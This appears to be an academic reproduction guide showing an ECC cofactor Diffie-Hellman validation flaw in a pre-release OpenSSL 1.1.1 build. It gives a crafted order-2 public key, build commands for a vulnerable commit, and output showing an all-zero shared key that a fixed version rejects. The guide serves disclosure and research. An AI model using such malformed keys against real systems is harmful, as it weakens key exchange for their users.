Summary This document is for reproducing one of the research results from the manuscript "Set It and Forget It! Turnkey ECC for Instant Integration", to appear at the 2020 Annual Computer Security Applications Conference (ACSAC). This is one of the vulnerabilities included under ECCKAT, Section 3.4 ("OpenSSL: ECC CDH vulnerability"). It demonstrates bypassing Elliptic Curve Co-factor Diffie Hellman (ECC CDH) security, which should fail to derive a shared key if a peer point is not a multiple of the generator. Here the generator is for the NIST B-233 binary curve. The vulnerability was in a development version of OpenSSL 1.1.1, fixed before the official release of OpenSSL 1.1.1 (Sep 2018). Prerequisites Setup a legitimate key pair for Bob. cat <<EOF > /tmp/bob.prv -----BEGIN PRIVATE KEY----- MH4CAQAwEAYHKoZIzj0CAQYFK4EEABsEZzBlAgEBBB4AiHfJxQ7f7oI6TuZ1dTuG soj1o3EWfwqkW/MhLvShQAM+AAQB/IF6yIGxSHDk85mJe+PwU+5t+gv+6HbQUQl/ Iu4AFk3O1TH/Cgb9e4ML4Wut5KSwOhcXyR/HVX+cyGM= -----END PRIVATE KEY----- EOF Setup a malicious public key for Malice. cat <<EOF > /tmp/malice.pub -----BEGIN PUBLIC KEY----- MFIwEAYHKoZIzj0CAQYFK4EEABsDPgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYf4 Vie5eHTnR+4x4G1xyq7qUvISU+X5RtBh2pE4 -----END PUBLIC KEY----- EOF In the binary curve case y^2 + xy = x^3 + ax^2 + b, Malice's public key is the order-2 point (0, sqrt(b)) and always exists. Clone the OpenSSL repo. git clone https://github.com/openssl/openssl.git cd openssl/ Before the fix Checkout and build a vulnerable version. git checkout -b ecccdh 27232cc3385260311e7fd2f6cd78db967cae650d ./config -d no-shared make -j4 Examine Bob's key pair, if you want. $ apps/openssl pkey -in /tmp/bob.prv -text -noout Private-Key: (233 bit) priv: 00:88:77:c9:c5:0e:df:ee:82:3a:4e:e6:75:75:3b: 86:b2:88:f5:a3:71:16:7f:0a:a4:5b:f3:21:2e:f4 pub: 04:01:fc:81:7a:c8:81:b1:48:70:e4:f3:99:89:7b: e3:f0:53:ee:6d:fa:0b:fe:e8:76:d0:51:09:7f:22: ee:00:16:4d:ce:d5:31:ff:0a:06:fd:7b:83:0b:e1: 6b:ad:e4:a4:b0:3a:17:17:c9:1f:c7:55:7f:9c:c8: 63 ASN1 OID: sect233r1 NIST CURVE: B-233 Examine Malice's public key, if you want. $ apps/openssl pkey -in /tmp/malice.pub -pubin -text -noout Public-Key: (233 bit) pub: 04:00:00:00:00:00:00:00:00:00:00:00:00:00:00: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00: 00:01:87:f8:56:27:b9:78:74:e7:47:ee:31:e0:6d: 71:ca:ae:ea:52:f2:12:53:e5:f9:46:d0:61:da:91: 38 ASN1 OID: sect233r1 NIST CURVE: B-233 Derive the ECC CDH shared key between Bob and Malice. apps/openssl pkeyutl -derive -inkey /tmp/bob.prv -peerkey /tmp/malice.pub -pkeyopt ecdh_cofactor_mode:1 -out /tmp/shared.bin Observe OpenSSL does not report an error, and the shared key derives successfully. $ xxd -g1 /tmp/shared.bin 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .............. $ rm -f /tmp/shared.bin After the fix Clean, checkout, and build any fixed version. make clean git checkout -b OpenSSL_1_1_1g OpenSSL_1_1_1g ./config -d no-shared make -j4 Observe OpenSSL (correctly) fails to derive the shared key. $ apps/openssl pkeyutl -derive -inkey /tmp/bob.prv -peerkey /tmp/malice.pub -pkeyopt ecdh_cofactor_mode:1 -out /tmp/shared.bin Key derivation failed 140376301057856:error:1012506A:elliptic curve routines:EC_POINT_get_affine_coordinates:point at infinity:crypto/ec/ec_lib.c:850: 140376301057856:error:1010109B:elliptic curve routines:ecdh_simple_compute_key:point arithmetic failure:crypto/ec/ecdh_ossl.c:87: Scripted demo It is not necessary for Bob's key to be fixed, but there are some very loose restrictions for the PoC. The bash script bob_keys.sh will: Automate creating Malice's key Automate creating several keys for Bob Automate printing the key material Automate deriving the shared key Ensure that the OPENSSL variable in the bash script points to your target OpenSSL binary. Credits Authors Dmitry Belyavsky (Cryptocom Ltd., Moscow, Russian Federation) Billy Bob Brumley (Tampere University, Tampere, Finland) Jesús-Javier Chi-Domínguez (Tampere University, Tampere, Finland) Luis Rivera-Zamarripa (Tampere University, Tampere, Finland) Igor Ustinov (Cryptocom Ltd., Moscow, Russian Federation) Funding This project has received funding from the European Research Council (ERC) under the European Union's Horizon 2020 research and innovation programme (grant agreement No 804476). License This work is licensed under a Creative Commons Attribution 4.0 International License.